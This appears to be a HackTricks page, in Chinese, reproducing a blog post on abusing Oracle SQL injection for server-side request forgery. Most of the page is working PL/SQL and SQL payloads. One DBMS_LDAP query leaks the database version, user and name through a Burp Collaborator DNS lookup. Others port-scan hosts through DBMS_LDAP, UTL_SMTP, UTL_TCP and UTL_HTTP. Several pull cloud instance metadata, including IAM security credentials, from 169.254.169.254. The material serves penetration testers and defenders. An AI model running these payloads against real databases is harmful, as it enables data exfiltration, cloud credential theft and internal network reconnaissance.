146 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Oracle injection
{{#include ../../banners/hacktricks-training.md}}
**为这篇文章提供一个来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) 的已删除帖子在时间机器上的副本**
## SSRF
使用 Oracle 进行带外 HTTP 和 DNS 请求的文档非常丰富,但作为在注入中提取 SQL 数据的一种手段。我们总是可以修改这些技术/函数以执行其他 SSRF/XSPA。
安装 Oracle 可能非常麻烦,特别是如果你想快速设置一个实例来尝试命令。我的朋友和同事在 [Appsecco](https://appsecco.com) [Abhisek Datta](https://github.com/abhisek),指引我到 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c),这让我能够在 t2.large AWS Ubuntu 机器和 Docker 上设置一个实例。
我使用 `--network="host"` 标志运行 docker 命令,以便在这篇博客文章的过程中模拟 Oracle 作为一个具有完全网络访问权限的本地安装。
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### 支持 URL 或主机/端口号规范的 Oracle 包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
为了找到支持主机和端口规范的任何包和函数,我在 [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) 上进行了 Google 搜索。具体来说,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
搜索返回了以下结果(并非所有结果都可以用于执行出站网络)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
这个粗略的搜索显然跳过了像 `DBMS_LDAP` 这样的包(它允许传递主机名和端口号),因为 [文档页面](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) 只是将您指向 [不同的位置](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)。因此可能还有其他可以被滥用以发起出站请求的Oracle包我可能遗漏了。
无论如何,让我们看看我们发现并列出的某些包。
**DBMS_LDAP.INIT**
`DBMS_LDAP` 包允许访问来自LDAP服务器的数据。`init()` 函数初始化与LDAP服务器的会话并将主机名和端口号作为参数。
这个函数之前已经被记录下来以显示通过DNS的数据外泄如下所示。
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
然而,由于该函数接受主机名和端口号作为参数,您可以利用这一点使其像端口扫描器一样工作。
以下是一些示例
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表示端口关闭,而会话值指向端口为开放状态。
**UTL_SMTP**
`UTL_SMTP` 包用于通过 SMTP 发送电子邮件。 [Oracle 文档网站上提供的示例展示了如何使用此包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。 然而,对我们来说,值得关注的是提供主机和端口规范的能力。
下面是一个粗略的示例,使用 `UTL_SMTP.OPEN_CONNECTION` 函数,超时为 2 秒。
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: transfer timeout` 表示端口开放但未建立 SMTP 连接,而 `ORA-29278: SMTP transient error: 421 Service not available` 表示端口关闭。
**UTL_TCP**
`UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,此包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
示例 [在 Oracle 文档网站上展示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
有趣的是,由于能够构造原始 TCP 请求,这个包也可以用于查询所有云提供商的实例元数据服务,因为方法类型和附加头都可以在 TCP 请求中传递。
**UTL_HTTP 和 Web 请求**
也许在所有的离带 Oracle SQL 注入教程中,最常见和广泛记录的技术是 [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。文档中将这个包定义为 - `UTL_HTTP 包从 SQL 和 PL/SQL 发起超文本传输协议 (HTTP) 调用。您可以使用它通过 HTTP 访问互联网上的数据。`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
您还可以使用此功能执行一些基本的端口扫描,例如使用以下查询:
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener``TNS:operation timed out` 是 TCP 端口关闭的迹象,而 `ORA-29263: HTTP protocol error` 或数据则是端口开放的迹象。
我过去使用过的另一个包,成功率各异,是 [`GETCLOB()` 方法的 `HTTPURITYPE` Oracle 抽象类型](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705),它允许您与 URL 交互并支持 HTTP 协议。`GETCLOB()` 方法用于从 URL 获取 GET 响应,作为 [CLOB 数据类型。](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}}